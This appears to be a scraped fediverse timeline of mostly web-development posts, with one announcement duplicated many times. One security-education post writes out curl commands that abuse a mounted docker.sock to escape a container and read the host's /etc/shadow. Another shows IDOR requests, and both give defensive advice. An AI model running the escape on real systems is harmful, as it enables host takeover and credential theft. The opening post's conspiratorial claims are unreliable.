The recent #openSource orgs sign onto the #unitedNations pact is super creepy. The last clause, ie. to do the bidding of the United Nations makes me a bit squeemish, just because we all saw covid, right? Even the other clauses about "diversity and inclusion" a nasty, and seem to require developers identify themselves, meaning no more anonymous contributions? i expect better from the #libreoffice folks that to sign onto something like this (i already knew #gnome were heading down a nasty path by their locked-down communication channels). My feeling is this is a result of the engineered #inflation ( #covid / #nft / #moneylaundering) crises means people are grasping at straws to maintain their income and status, forcing developers to accept ridiculous contracts. i dont know. Maybe im talking out a nether orifice. If i hear that everyone is plotting forks of LibreOffice and GNOME, it wouldnt surprise me.

I'm also interested in what appears to be the lawfare-based extortion of archive.org, not able to research it lately. I bet a billion bitcoins (that will never exist, because bitcoin is capped at 21 million) that #archiveDotOrg no longer accept #bitcoin donations. AMIRIGHT? (i dunno again I might be wrong, i literally have not checked, lol but seriously they are partnering with the US government to be a repo of govt documents??? now???)

The word of the day is '#SUSPECT'

... and remember everyone, #iran is to blame for ALL OF IT. including of cause the genocide that almost everyone on fedi knew was a #genocide almost 2 years ago. Why would it take 2 years for people on corporate media pratforms to work this out.... INSERT THINKING EMOJI

anyway there is so much to talk about and i will not be able to do it now. and will not be checking messages, because my connection is REALLY, REALLY, REALLY bad now. and i'll be here forever and die. so this is just a i'm still alive, just working thru technical coincidental problems.

love you all, and hopefully i can be online proper, in the near future.

#fedimeta #gnome #opendocumentfoundation @stefano

wizard.casa

Mitra - Federated social network

Federated social network

@botkit@hollo.social

We're excited to announce the release of BotKit 0.3.0! This release marks a significant milestone as now supports .js alongside , making it accessible to a wider audience. The minimum required Node.js version is 22.0.0. This dual-runtime support means you can now choose your preferred runtime while building with the same powerful BotKit APIs.

One of the most requested features has landed: poll support! You can now create interactive polls in your messages, allowing followers to vote on questions with single or multiple-choice options. Polls are represented as ActivityPub Question objects with proper expiration times, and your bot can react to votes through the new onVote event handler. This feature enhances engagement possibilities and brings BotKit to feature parity with major platforms like Mastodon and Misskey.

// Create a poll with multiple choices
await session.publish(text`What's your favorite programming language?`, {
  class: Question,
  poll: {
    multiple: true,  // Allow multiple selections
    options: ["JavaScript", "TypeScript", "Python", "Rust"],
    endTime: Temporal.Now.instant().add({ hours: 24 }),
  },
});

// Handle votes
bot.onVote = async (session, vote) => {
  console.log(`${vote.actor} voted for "${vote.option}"`);
};

The web frontend has been enhanced with a new followers page, thanks to the contribution from Hyeonseo Kim (@gaebalgom)! The /followers route now displays a paginated list of your bot's followers, and the follower count on the main profile page is now clickable, providing better visibility into your bot's audience. This improvement makes the web interface more complete and user-friendly.

For developers looking for alternative storage backends, we've introduced the SqliteRepository through the new @fedify/botkit-sqlite package. This provides a production-ready SQLite-based storage solution with ACID compliance, write-ahead logging (WAL) for optimal performance, and proper indexing. Additionally, the new @fedify/botkit/repository module offers MemoryCachedRepository for adding an in-memory cache layer on top of any repository implementation, improving read performance for frequently accessed data.

This release also includes an important security update: we've upgraded to 1.8.8, ensuring your bots stay secure and compatible with the latest ActivityPub standards. The repository pattern has been expanded with new interfaces and types like RepositoryGetMessagesOptions, RepositoryGetFollowersOptions, and proper support for polls storage through the KvStoreRepositoryPrefixes.polls option, providing more flexibility for custom implementations.

botkit.fedify.dev

Repository | BotKit by Fedify

A repository is a data access object that provides an abstraction over the underlying data source. This document provides an overview of repositories and how they are used in the framework.

@botkit@hollo.social

We're excited to announce the release of BotKit 0.3.0! This release marks a significant milestone as now supports .js alongside , making it accessible to a wider audience. The minimum required Node.js version is 22.0.0. This dual-runtime support means you can now choose your preferred runtime while building with the same powerful BotKit APIs.

One of the most requested features has landed: poll support! You can now create interactive polls in your messages, allowing followers to vote on questions with single or multiple-choice options. Polls are represented as ActivityPub Question objects with proper expiration times, and your bot can react to votes through the new onVote event handler. This feature enhances engagement possibilities and brings BotKit to feature parity with major platforms like Mastodon and Misskey.

// Create a poll with multiple choices
await session.publish(text`What's your favorite programming language?`, {
  class: Question,
  poll: {
    multiple: true,  // Allow multiple selections
    options: ["JavaScript", "TypeScript", "Python", "Rust"],
    endTime: Temporal.Now.instant().add({ hours: 24 }),
  },
});

// Handle votes
bot.onVote = async (session, vote) => {
  console.log(`${vote.actor} voted for "${vote.option}"`);
};

The web frontend has been enhanced with a new followers page, thanks to the contribution from Hyeonseo Kim (@gaebalgom)! The /followers route now displays a paginated list of your bot's followers, and the follower count on the main profile page is now clickable, providing better visibility into your bot's audience. This improvement makes the web interface more complete and user-friendly.

For developers looking for alternative storage backends, we've introduced the SqliteRepository through the new @fedify/botkit-sqlite package. This provides a production-ready SQLite-based storage solution with ACID compliance, write-ahead logging (WAL) for optimal performance, and proper indexing. Additionally, the new @fedify/botkit/repository module offers MemoryCachedRepository for adding an in-memory cache layer on top of any repository implementation, improving read performance for frequently accessed data.

This release also includes an important security update: we've upgraded to 1.8.8, ensuring your bots stay secure and compatible with the latest ActivityPub standards. The repository pattern has been expanded with new interfaces and types like RepositoryGetMessagesOptions, RepositoryGetFollowersOptions, and proper support for polls storage through the KvStoreRepositoryPrefixes.polls option, providing more flexibility for custom implementations.

botkit.fedify.dev

Repository | BotKit by Fedify

A repository is a data access object that provides an abstraction over the underlying data source. This document provides an overview of repositories and how they are used in the framework.

@botkit@hollo.social

We're excited to announce the release of BotKit 0.3.0! This release marks a significant milestone as now supports .js alongside , making it accessible to a wider audience. The minimum required Node.js version is 22.0.0. This dual-runtime support means you can now choose your preferred runtime while building with the same powerful BotKit APIs.

One of the most requested features has landed: poll support! You can now create interactive polls in your messages, allowing followers to vote on questions with single or multiple-choice options. Polls are represented as ActivityPub Question objects with proper expiration times, and your bot can react to votes through the new onVote event handler. This feature enhances engagement possibilities and brings BotKit to feature parity with major platforms like Mastodon and Misskey.

// Create a poll with multiple choices
await session.publish(text`What's your favorite programming language?`, {
  class: Question,
  poll: {
    multiple: true,  // Allow multiple selections
    options: ["JavaScript", "TypeScript", "Python", "Rust"],
    endTime: Temporal.Now.instant().add({ hours: 24 }),
  },
});

// Handle votes
bot.onVote = async (session, vote) => {
  console.log(`${vote.actor} voted for "${vote.option}"`);
};

The web frontend has been enhanced with a new followers page, thanks to the contribution from Hyeonseo Kim (@gaebalgom)! The /followers route now displays a paginated list of your bot's followers, and the follower count on the main profile page is now clickable, providing better visibility into your bot's audience. This improvement makes the web interface more complete and user-friendly.

For developers looking for alternative storage backends, we've introduced the SqliteRepository through the new @fedify/botkit-sqlite package. This provides a production-ready SQLite-based storage solution with ACID compliance, write-ahead logging (WAL) for optimal performance, and proper indexing. Additionally, the new @fedify/botkit/repository module offers MemoryCachedRepository for adding an in-memory cache layer on top of any repository implementation, improving read performance for frequently accessed data.

This release also includes an important security update: we've upgraded to 1.8.8, ensuring your bots stay secure and compatible with the latest ActivityPub standards. The repository pattern has been expanded with new interfaces and types like RepositoryGetMessagesOptions, RepositoryGetFollowersOptions, and proper support for polls storage through the KvStoreRepositoryPrefixes.polls option, providing more flexibility for custom implementations.

botkit.fedify.dev

Repository | BotKit by Fedify

A repository is a data access object that provides an abstraction over the underlying data source. This document provides an overview of repositories and how they are used in the framework.

@botkit@hollo.social

We're excited to announce the release of BotKit 0.3.0! This release marks a significant milestone as now supports .js alongside , making it accessible to a wider audience. The minimum required Node.js version is 22.0.0. This dual-runtime support means you can now choose your preferred runtime while building with the same powerful BotKit APIs.

One of the most requested features has landed: poll support! You can now create interactive polls in your messages, allowing followers to vote on questions with single or multiple-choice options. Polls are represented as ActivityPub Question objects with proper expiration times, and your bot can react to votes through the new onVote event handler. This feature enhances engagement possibilities and brings BotKit to feature parity with major platforms like Mastodon and Misskey.

// Create a poll with multiple choices
await session.publish(text`What's your favorite programming language?`, {
  class: Question,
  poll: {
    multiple: true,  // Allow multiple selections
    options: ["JavaScript", "TypeScript", "Python", "Rust"],
    endTime: Temporal.Now.instant().add({ hours: 24 }),
  },
});

// Handle votes
bot.onVote = async (session, vote) => {
  console.log(`${vote.actor} voted for "${vote.option}"`);
};

The web frontend has been enhanced with a new followers page, thanks to the contribution from Hyeonseo Kim (@gaebalgom)! The /followers route now displays a paginated list of your bot's followers, and the follower count on the main profile page is now clickable, providing better visibility into your bot's audience. This improvement makes the web interface more complete and user-friendly.

For developers looking for alternative storage backends, we've introduced the SqliteRepository through the new @fedify/botkit-sqlite package. This provides a production-ready SQLite-based storage solution with ACID compliance, write-ahead logging (WAL) for optimal performance, and proper indexing. Additionally, the new @fedify/botkit/repository module offers MemoryCachedRepository for adding an in-memory cache layer on top of any repository implementation, improving read performance for frequently accessed data.

This release also includes an important security update: we've upgraded to 1.8.8, ensuring your bots stay secure and compatible with the latest ActivityPub standards. The repository pattern has been expanded with new interfaces and types like RepositoryGetMessagesOptions, RepositoryGetFollowersOptions, and proper support for polls storage through the KvStoreRepositoryPrefixes.polls option, providing more flexibility for custom implementations.

botkit.fedify.dev

Repository | BotKit by Fedify

A repository is a data access object that provides an abstraction over the underlying data source. This document provides an overview of repositories and how they are used in the framework.

@botkit@hollo.social

We're excited to announce the release of BotKit 0.3.0! This release marks a significant milestone as now supports .js alongside , making it accessible to a wider audience. The minimum required Node.js version is 22.0.0. This dual-runtime support means you can now choose your preferred runtime while building with the same powerful BotKit APIs.

One of the most requested features has landed: poll support! You can now create interactive polls in your messages, allowing followers to vote on questions with single or multiple-choice options. Polls are represented as ActivityPub Question objects with proper expiration times, and your bot can react to votes through the new onVote event handler. This feature enhances engagement possibilities and brings BotKit to feature parity with major platforms like Mastodon and Misskey.

// Create a poll with multiple choices
await session.publish(text`What's your favorite programming language?`, {
  class: Question,
  poll: {
    multiple: true,  // Allow multiple selections
    options: ["JavaScript", "TypeScript", "Python", "Rust"],
    endTime: Temporal.Now.instant().add({ hours: 24 }),
  },
});

// Handle votes
bot.onVote = async (session, vote) => {
  console.log(`${vote.actor} voted for "${vote.option}"`);
};

The web frontend has been enhanced with a new followers page, thanks to the contribution from Hyeonseo Kim (@gaebalgom)! The /followers route now displays a paginated list of your bot's followers, and the follower count on the main profile page is now clickable, providing better visibility into your bot's audience. This improvement makes the web interface more complete and user-friendly.

For developers looking for alternative storage backends, we've introduced the SqliteRepository through the new @fedify/botkit-sqlite package. This provides a production-ready SQLite-based storage solution with ACID compliance, write-ahead logging (WAL) for optimal performance, and proper indexing. Additionally, the new @fedify/botkit/repository module offers MemoryCachedRepository for adding an in-memory cache layer on top of any repository implementation, improving read performance for frequently accessed data.

This release also includes an important security update: we've upgraded to 1.8.8, ensuring your bots stay secure and compatible with the latest ActivityPub standards. The repository pattern has been expanded with new interfaces and types like RepositoryGetMessagesOptions, RepositoryGetFollowersOptions, and proper support for polls storage through the KvStoreRepositoryPrefixes.polls option, providing more flexibility for custom implementations.

botkit.fedify.dev

Repository | BotKit by Fedify

A repository is a data access object that provides an abstraction over the underlying data source. This document provides an overview of repositories and how they are used in the framework.

@botkit@hollo.social

We're excited to announce the release of BotKit 0.3.0! This release marks a significant milestone as now supports .js alongside , making it accessible to a wider audience. The minimum required Node.js version is 22.0.0. This dual-runtime support means you can now choose your preferred runtime while building with the same powerful BotKit APIs.

One of the most requested features has landed: poll support! You can now create interactive polls in your messages, allowing followers to vote on questions with single or multiple-choice options. Polls are represented as ActivityPub Question objects with proper expiration times, and your bot can react to votes through the new onVote event handler. This feature enhances engagement possibilities and brings BotKit to feature parity with major platforms like Mastodon and Misskey.

// Create a poll with multiple choices
await session.publish(text`What's your favorite programming language?`, {
  class: Question,
  poll: {
    multiple: true,  // Allow multiple selections
    options: ["JavaScript", "TypeScript", "Python", "Rust"],
    endTime: Temporal.Now.instant().add({ hours: 24 }),
  },
});

// Handle votes
bot.onVote = async (session, vote) => {
  console.log(`${vote.actor} voted for "${vote.option}"`);
};

The web frontend has been enhanced with a new followers page, thanks to the contribution from Hyeonseo Kim (@gaebalgom)! The /followers route now displays a paginated list of your bot's followers, and the follower count on the main profile page is now clickable, providing better visibility into your bot's audience. This improvement makes the web interface more complete and user-friendly.

For developers looking for alternative storage backends, we've introduced the SqliteRepository through the new @fedify/botkit-sqlite package. This provides a production-ready SQLite-based storage solution with ACID compliance, write-ahead logging (WAL) for optimal performance, and proper indexing. Additionally, the new @fedify/botkit/repository module offers MemoryCachedRepository for adding an in-memory cache layer on top of any repository implementation, improving read performance for frequently accessed data.

This release also includes an important security update: we've upgraded to 1.8.8, ensuring your bots stay secure and compatible with the latest ActivityPub standards. The repository pattern has been expanded with new interfaces and types like RepositoryGetMessagesOptions, RepositoryGetFollowersOptions, and proper support for polls storage through the KvStoreRepositoryPrefixes.polls option, providing more flexibility for custom implementations.

botkit.fedify.dev

Repository | BotKit by Fedify

A repository is a data access object that provides an abstraction over the underlying data source. This document provides an overview of repositories and how they are used in the framework.

@botkit@hollo.social

We're excited to announce the release of BotKit 0.3.0! This release marks a significant milestone as now supports .js alongside , making it accessible to a wider audience. The minimum required Node.js version is 22.0.0. This dual-runtime support means you can now choose your preferred runtime while building with the same powerful BotKit APIs.

One of the most requested features has landed: poll support! You can now create interactive polls in your messages, allowing followers to vote on questions with single or multiple-choice options. Polls are represented as ActivityPub Question objects with proper expiration times, and your bot can react to votes through the new onVote event handler. This feature enhances engagement possibilities and brings BotKit to feature parity with major platforms like Mastodon and Misskey.

// Create a poll with multiple choices
await session.publish(text`What's your favorite programming language?`, {
  class: Question,
  poll: {
    multiple: true,  // Allow multiple selections
    options: ["JavaScript", "TypeScript", "Python", "Rust"],
    endTime: Temporal.Now.instant().add({ hours: 24 }),
  },
});

// Handle votes
bot.onVote = async (session, vote) => {
  console.log(`${vote.actor} voted for "${vote.option}"`);
};

The web frontend has been enhanced with a new followers page, thanks to the contribution from Hyeonseo Kim (@gaebalgom)! The /followers route now displays a paginated list of your bot's followers, and the follower count on the main profile page is now clickable, providing better visibility into your bot's audience. This improvement makes the web interface more complete and user-friendly.

For developers looking for alternative storage backends, we've introduced the SqliteRepository through the new @fedify/botkit-sqlite package. This provides a production-ready SQLite-based storage solution with ACID compliance, write-ahead logging (WAL) for optimal performance, and proper indexing. Additionally, the new @fedify/botkit/repository module offers MemoryCachedRepository for adding an in-memory cache layer on top of any repository implementation, improving read performance for frequently accessed data.

This release also includes an important security update: we've upgraded to 1.8.8, ensuring your bots stay secure and compatible with the latest ActivityPub standards. The repository pattern has been expanded with new interfaces and types like RepositoryGetMessagesOptions, RepositoryGetFollowersOptions, and proper support for polls storage through the KvStoreRepositoryPrefixes.polls option, providing more flexibility for custom implementations.

botkit.fedify.dev

Repository | BotKit by Fedify

A repository is a data access object that provides an abstraction over the underlying data source. This document provides an overview of repositories and how they are used in the framework.

@botkit@hollo.social

We're excited to announce the release of BotKit 0.3.0! This release marks a significant milestone as now supports .js alongside , making it accessible to a wider audience. The minimum required Node.js version is 22.0.0. This dual-runtime support means you can now choose your preferred runtime while building with the same powerful BotKit APIs.

One of the most requested features has landed: poll support! You can now create interactive polls in your messages, allowing followers to vote on questions with single or multiple-choice options. Polls are represented as ActivityPub Question objects with proper expiration times, and your bot can react to votes through the new onVote event handler. This feature enhances engagement possibilities and brings BotKit to feature parity with major platforms like Mastodon and Misskey.

// Create a poll with multiple choices
await session.publish(text`What's your favorite programming language?`, {
  class: Question,
  poll: {
    multiple: true,  // Allow multiple selections
    options: ["JavaScript", "TypeScript", "Python", "Rust"],
    endTime: Temporal.Now.instant().add({ hours: 24 }),
  },
});

// Handle votes
bot.onVote = async (session, vote) => {
  console.log(`${vote.actor} voted for "${vote.option}"`);
};

The web frontend has been enhanced with a new followers page, thanks to the contribution from Hyeonseo Kim (@gaebalgom)! The /followers route now displays a paginated list of your bot's followers, and the follower count on the main profile page is now clickable, providing better visibility into your bot's audience. This improvement makes the web interface more complete and user-friendly.

For developers looking for alternative storage backends, we've introduced the SqliteRepository through the new @fedify/botkit-sqlite package. This provides a production-ready SQLite-based storage solution with ACID compliance, write-ahead logging (WAL) for optimal performance, and proper indexing. Additionally, the new @fedify/botkit/repository module offers MemoryCachedRepository for adding an in-memory cache layer on top of any repository implementation, improving read performance for frequently accessed data.

This release also includes an important security update: we've upgraded to 1.8.8, ensuring your bots stay secure and compatible with the latest ActivityPub standards. The repository pattern has been expanded with new interfaces and types like RepositoryGetMessagesOptions, RepositoryGetFollowersOptions, and proper support for polls storage through the KvStoreRepositoryPrefixes.polls option, providing more flexibility for custom implementations.

botkit.fedify.dev

Repository | BotKit by Fedify

A repository is a data access object that provides an abstraction over the underlying data source. This document provides an overview of repositories and how they are used in the framework.

@inautilo@mastodon.social
@inautilo@mastodon.social
@robson_muniz@mastodon.social

👋 Hello Mastodon! I'm Robson, a coder originally from Brazil who's now calling Portugal home.

By day, I'm deep in the world of React and JavaScript. By... well, the rest of the time, I'm trying to connect with folks who value faith, perseverance, and building real community.

I'm a big believer in starting small, trying things with a bit of faith, and building a better future one step at a time.🙂

@reynardsec@infosec.exchange

A grumpy ItSec guy walks through the office when he overhears an exchange of words.

devops0: I need to manage other containers on the node from my container, hmm...
devops1: Just mount /var/run/docker.sock into it and move on.

ItSec (walking by): Guys... a quick test. From inside that container, run:

curl -s --unix-socket /var/run/docker.sock http://localhost/containers/json 

If you get JSON back, then you've handed that container admin-level control of the Docker daemon - so please don't...

devops0: So what? What does it mean?

Let's learn by example. The Docker CLI talks to the Docker daemon over a UNIX socket at (by default) /var/run/docker.sock [1]. That socket exposes the Docker Engine's REST API. With it, you can list, start, stop, create, or reconfigure containers - effectively controlling the host via the daemon. Now, the oops pattern we seeing:

# Dangerous: gives the container full control of the Docker daemon
docker run -it -v /var/run/docker.sock:/var/run/docker.sock ubuntu:24.04

If an attacker gets any code execution in that container (RCE, webshell, deserialization bug, etc), they can pivot to the Docker host. Here's how in practice:

# 1) From the compromised container that "sees" docker.sock: create a "helper" container that bind-mounts the host root

# apt update && apt install -y curl

curl --unix-socket /var/run/docker.sock -H 'Content-Type: application/json' \
-X POST "http://localhost/containers/create?name=escape" \
-d '{
"Image": "ubuntu:24.04",
"Cmd": ["sleep","infinity"],
"HostConfig": { "Binds": ["/:/host:rw"] }
}'

# 2) Start it
curl --unix-socket /var/run/docker.sock -X POST http://localhost/containers/escape/start

From there, the attacker can shell in and operates on /host (add SSH keys, read secrets, drop binaries, whatever), or even chroots because why not:

# Read /etc/shadow of Docker Host using only curl, step 1:

curl --unix-socket /var/run/docker.sock -s \
-H 'Content-Type: application/json' \
-X POST http://localhost/containers/escape/exec \
-d '{
"AttachStdout": true,
"AttachStderr": true,
"Tty": true,
"Cmd": ["cat","/host/etc/shadow"]
}'

# Step 2, read output of previous command (replace exec ID with yours):
curl --unix-socket /var/run/docker.sock -s --no-buffer \
-H 'Content-Type: application/json' \
-X POST http://localhost/exec/1ec29063e5c13ac73b907f57470552dd39519bad293bf6677bedadaad9fcde89/start \
-d '{"Detach": false, "Tty": true}'

Keep in mind this isn't only an RCE issue: SSRF-style bugs can coerce internal services into calling local admin endpoints (including docker.sock or a TCP-exposed daemon).

And one more important point: we understand you may not like when texts like this include conditionals: if a container is compromised, if SSRF exists, then the socket becomes a bridge to owning the host. It's understandable. Our job, however, is to assume those "ifs" eventually happen and remove the easy paths for bad actors.

[1] docs.docker.com/reference/cli/
[2] docs.docker.com/engine/api/

Other grumpy stories:
1) infosec.exchange/@reynardsec/1
2) infosec.exchange/@reynardsec/1
3) infosec.exchange/@reynardsec/1

grumpy cat
ALT text

grumpy cat

@Greenheart@fosstodon.org

Wow! You know that is getting really good when you are able to replace significant amounts of with a few lines of and . Best part is the fact that you get out of the box with native widgets 🙌

A few examples: `<dialog closedby="any">`, stylable `<select>` and even HTML autocomplete/typeahead using the `<datalist>`.

@SchellX@mastodon.social

Hello Fediverse! I wanted to update my intro since things in my life are always updating and changing. I'm on a journey from "tech guru" to full-stack dev. I'm building my skills one line of code at a time. I'm also a huge fan of Star Wars, Marvel, and B-rated movies that are so bad it's good. Always down to talk tech. Let's connect!💬

< = =
b
SEV
ALT text

< = = b SEV

@vanillaweb@intuitivefuture.com

Hey y'all, a new social web forum is in da house!! 🎉

Talk learning from base principles and help fellow newbies experience the joys of vanilla and ! (with a sprinkle of lightweight tools to smooth out the bumps in the road ☺️)

Check it out:

humansare.social/c/indie_web_d

humansare.social

Indie Web Dev

A **beginner-friendly place for web developers** to share tools, techniques, and ideas for how to build a better World-Wide-Web with a focus on "va…

@vanillaweb@intuitivefuture.com

Hey y'all, a new social web forum is in da house!! 🎉

Talk learning from base principles and help fellow newbies experience the joys of vanilla and ! (with a sprinkle of lightweight tools to smooth out the bumps in the road ☺️)

Check it out:

humansare.social/c/indie_web_d

humansare.social

Indie Web Dev

A **beginner-friendly place for web developers** to share tools, techniques, and ideas for how to build a better World-Wide-Web with a focus on "va…

@reynardsec@infosec.exchange

A grumpy ItSec guy walks through the office when he overhears an exchange of words.

dev0: Big news - we finally upgraded every framework to the latest.
dev1: And the pipeline looks good: SAST, container scan, DAST... all green.
dev0: ItSec won't have anything to nitpick now!

ItSec (walking by): ... and BAC?
dev0: BAC?
ItSec: Broken Access Control [1]. Did you actually test for it?

dev1: What's he on about this time?

Let's learn by example: imagine an endpoint that returns a specific invoice.

GET /api/invoices/123
Authorization: Bearer <token-for-user-A>

User A legitimately fetches invoice 123. Now change only the ID:

GET /api/invoices/124
Authorization: Bearer <token-for-user-A>

If the app returns 200 with User B's data, you've got Broken Access Control (aka IDOR).

Even worse, try a write operation:

PATCH /api/invoices/124
Authorization: Bearer <token-for-user-A>

{"status": "paid"}

If that works... it's a problem.

Access control enforces who can do what on which resource. When it's broken, attackers can act outside their permissions: read others data, modify or delete it, or trigger business functions they shouldn't. In practice, this often comes from missing server-side checks that tie the caller to the resource owner (or an allowed role).

Why your shiny scanners may have missed it:

1) SAST sees code patterns, not ownership semantics (it can't deduce "invoice 124 belongs to User B").
2) DAST usually crawls with one session; it rarely performs cross-identity trials (User A poking at User B's data).
3) CI/CD "green checks" mean dependencies, images, and common vulns look fine - not that your authorization logic is correct.

What can you do?

1) Enforce checks on the server (never rely on the client): before every read/update/delete, verify the caller is the owner or has a permitted role.
2) Centralize authorization in a service/middleware.
3) Prefer opaque, unguessable IDs (UUIDs) over sequential integers, but still enforce server checks (UUIDs are not security).
4) Deny by default. Make allow-lists explicit.

[1] owasp.org/Top10/A01_2021-Broke

@dillo@fosstodon.org
@dillo@fosstodon.org
@dillo@fosstodon.org
@aral@mastodon.ar.al

The new integrated Markdown parser I’ve been implementing in Kitten has been kicking my ass for the past few weeks but I think I finally have it fully working and seamlessly so. Expect a new release this/next week that brings the parsing of Markdown pages (.page.md files) in your apps up to the standard of the recently-improved runtime Markdown parsing in Kitten HTML tagged-template strings (within `<markdown>…</markdown>` blocks).

The coolest thing is I was able to implement this without introducing any new syntax. In fact, I was able to simplify things so that you can now add arbitrary JavaScript to your Markdown pages within a multi-line script block in the YAML front matter (`script: |`) and use JavaScript string interpolation syntax in your Markdown (and, of course, Kitten components and conditionals, which, themselves, rely on string interpolation).

The only place where you have to deviate from standard Markdown in your Markdown pages is if you have JavaScript string interpolations or Kitten components/conditionals in code fences within your Markdown. In that case, you’ll have to escape them (e.g., `<\${Component} />`, `\<if \${something}>something\</if>`, etc.). And, to be fair, the person most impacted by this is likely me as the Kitten documentation at kitten.small-web.org is written in Kitten so I had a lot of escaping to do. But for any other use case, it means that things should just work and work exactly as they do in JavaScript pages (page.js files).

Anyway, so this is going to be a breaking change so I thought I’d give you (the three of you playing with Kitten right now?) a heads up. Of course, I’ll be updating the documentation to reflect all this.

(Remember, Kitten is in pre-release and it’s the framework I’m building/using to create Catalyst – the Small Web hosting solution – and Yarn – a small web – peer to peer – personal site app. So Kitten isn’t the means, not the end. And, at least until the Version 1 API freeze, things can and will break. That said, there’s nothing stopping you from playing with it now and, to be fair, at this point, such breaking changes should become rarer and rarer).

:kitten:💕

kitten.small-web.org

Kitten: Home

@ratfactor@mastodon.art

Version 2.4 of "Famsite", my self-hosted social media site, now features my Faceclick Emoji picker. (I'll be releasing Faceclick itself soon, I just need to finish the README.)

The Emoji picker more than doubled the size of the project, it's over 100Kb now. But hey, you can still fit 10 copies on a floppy! 💾

Also note that 2.1 added the grouping of daily word game result comments, a huge improvement for _my_ family. 😃

ratfactor.com/repos/famsite/

Screenshot of Ratfactor's Famsite social media for friends and family. Screenshot shows an image thumbnail for uploading, an emoji picker, a normal comment, and grouped comments with daily word game results.
ALT text

Screenshot of Ratfactor's Famsite social media for friends and family. Screenshot shows an image thumbnail for uploading, an emoji picker, a normal comment, and grouped comments with daily word game results.

@hazelnoot@enby.life

I have created the perfect JavaScript data type: a value that is both an object, a function, and a promise. All at the same time!

Screenshot of Node.JS REPL with three commands run:
1. Object.entries(result) returns a single key/value pair: "property" equals "object!".
2. Invoking result() as a function returns a string "function!".
3. awaiting result directly returns string "promise!".
ALT text

Screenshot of Node.JS REPL with three commands run: 1. Object.entries(result) returns a single key/value pair: "property" equals "object!". 2. Invoking result() as a function returns a string "function!". 3. awaiting result directly returns string "promise!".

@oblomov@sociale.network · Reply to Oblomov

Progress update on my generator

wok.oblomov.eu/tecnologia/plot

Another step in my path to revitalize usage of XSLT on the web. And before you ask, no, this is not to spite the and their -aversive brainrot, it's something I've wanted to do for years, as documented by my previous posts on the subject.

However, since the corporate-controlled WHATWG is using metrics as excuse to boycott the and , it becomes doubly important to do this now.

wok.oblomov.eu

Plotting sparklines with XSLT

Using XSLT to generate sparklines, Wok style

@oblomov@sociale.network · Reply to Oblomov

Progress update on my generator

wok.oblomov.eu/tecnologia/plot

Another step in my path to revitalize usage of XSLT on the web. And before you ask, no, this is not to spite the and their -aversive brainrot, it's something I've wanted to do for years, as documented by my previous posts on the subject.

However, since the corporate-controlled WHATWG is using metrics as excuse to boycott the and , it becomes doubly important to do this now.

wok.oblomov.eu

Plotting sparklines with XSLT

Using XSLT to generate sparklines, Wok style

@vanillaweb@intuitivefuture.com

Signals, a reactive primitive popularized by many frameworks and libraries, makes it much easier to add declarative binding to your using basic vanilla DOM techniques + signal effects.

I haven’t had a concrete example to show off just how simple yet powerful this can be…until now! 😎

Here's the ubiquitous counter demo, todo list with a completion count, and typewriter printing out a message—all with a binding solution in only 20 lines of code!

thathtml.blog/2025/08/declarat

thathtml.blog

Declarative HTML Binding in Only 20 Lines of Code! (and Signals)

Start with a solution as basic as this and ratchet up the complexity only when needed.

@vanillaweb@intuitivefuture.com

Signals, a reactive primitive popularized by many frameworks and libraries, makes it much easier to add declarative binding to your using basic vanilla DOM techniques + signal effects.

I haven’t had a concrete example to show off just how simple yet powerful this can be…until now! 😎

Here's the ubiquitous counter demo, todo list with a completion count, and typewriter printing out a message—all with a binding solution in only 20 lines of code!

thathtml.blog/2025/08/declarat

thathtml.blog

Declarative HTML Binding in Only 20 Lines of Code! (and Signals)

Start with a solution as basic as this and ratchet up the complexity only when needed.

@hazelnoot@enby.life

I have created the perfect JavaScript data type: a value that is both an object, a function, and a promise. All at the same time!

Screenshot of Node.JS REPL with three commands run:
1. Object.entries(result) returns a single key/value pair: "property" equals "object!".
2. Invoking result() as a function returns a string "function!".
3. awaiting result directly returns string "promise!".
ALT text

Screenshot of Node.JS REPL with three commands run: 1. Object.entries(result) returns a single key/value pair: "property" equals "object!". 2. Invoking result() as a function returns a string "function!". 3. awaiting result directly returns string "promise!".

@GripNews@mastodon.social

🌘 hmpl: 螞蟻伺服器導向、可客製化 JavaScript 模板語言
➤ 簡化伺服器與前端互動,為您的應用程式注入輕盈與彈性
✤ github.com/hmpl-language/hmpl
hmpl 是一種創新的 JavaScript 模板語言,旨在提供伺服器導向且高度客製化的使用者介面生成方式。它能透過 fetch API 與伺服器進行請求,並將回應處理成 HTML。hmpl 語法基於區塊,整合了 JSON5 和 DOMPurify,能顯著縮小 JavaScript 檔案體積,並提供與現代框架相似的使用者介面。此工具被定位為 HTMX 和 Alpine.js 的替代方案,強調其對 fetch API 的運用、客製化請求能力,以及簡潔語法帶來的伺服器與客戶端互動效率。
+ 這聽起來很適合用在需要快速迭代、又不想增加太多前端負載的專案。hmpl 的伺服器導向概念很吸引人。
+ 能夠減少 JavaScript 檔案大小是個很大的優點,尤其是對行動裝置使用者而言。DOMPurify 的整合也讓安全性加分。

github.com

GitHub - hmpl-language/hmpl: 🐜 Server-oriented customizable templating for JavaScript. Alternative to HTMX and Alpine.js.

🐜 Server-oriented customizable templating for JavaScript. Alternative to HTMX and Alpine.js. - hmpl-language/hmpl

@GripNews@mastodon.social

🌘 hmpl: 螞蟻伺服器導向、可客製化 JavaScript 模板語言
➤ 簡化伺服器與前端互動,為您的應用程式注入輕盈與彈性
✤ github.com/hmpl-language/hmpl
hmpl 是一種創新的 JavaScript 模板語言,旨在提供伺服器導向且高度客製化的使用者介面生成方式。它能透過 fetch API 與伺服器進行請求,並將回應處理成 HTML。hmpl 語法基於區塊,整合了 JSON5 和 DOMPurify,能顯著縮小 JavaScript 檔案體積,並提供與現代框架相似的使用者介面。此工具被定位為 HTMX 和 Alpine.js 的替代方案,強調其對 fetch API 的運用、客製化請求能力,以及簡潔語法帶來的伺服器與客戶端互動效率。
+ 這聽起來很適合用在需要快速迭代、又不想增加太多前端負載的專案。hmpl 的伺服器導向概念很吸引人。
+ 能夠減少 JavaScript 檔案大小是個很大的優點,尤其是對行動裝置使用者而言。DOMPurify 的整合也讓安全性加分。

github.com

GitHub - hmpl-language/hmpl: 🐜 Server-oriented customizable templating for JavaScript. Alternative to HTMX and Alpine.js.

🐜 Server-oriented customizable templating for JavaScript. Alternative to HTMX and Alpine.js. - hmpl-language/hmpl

@miclgael@hachyderm.io

I also have a silly web components question...

If I choose a helper library like and make some component. Say like a button. And I want to make it portable to different projects / contexts.

Is it possible with some tool to "compile" it back to a vanilla web-component again? Or would it only be "portable" to some other context if you also handed over the dependency on Lit?

@ecmascript_news@mastodon.online
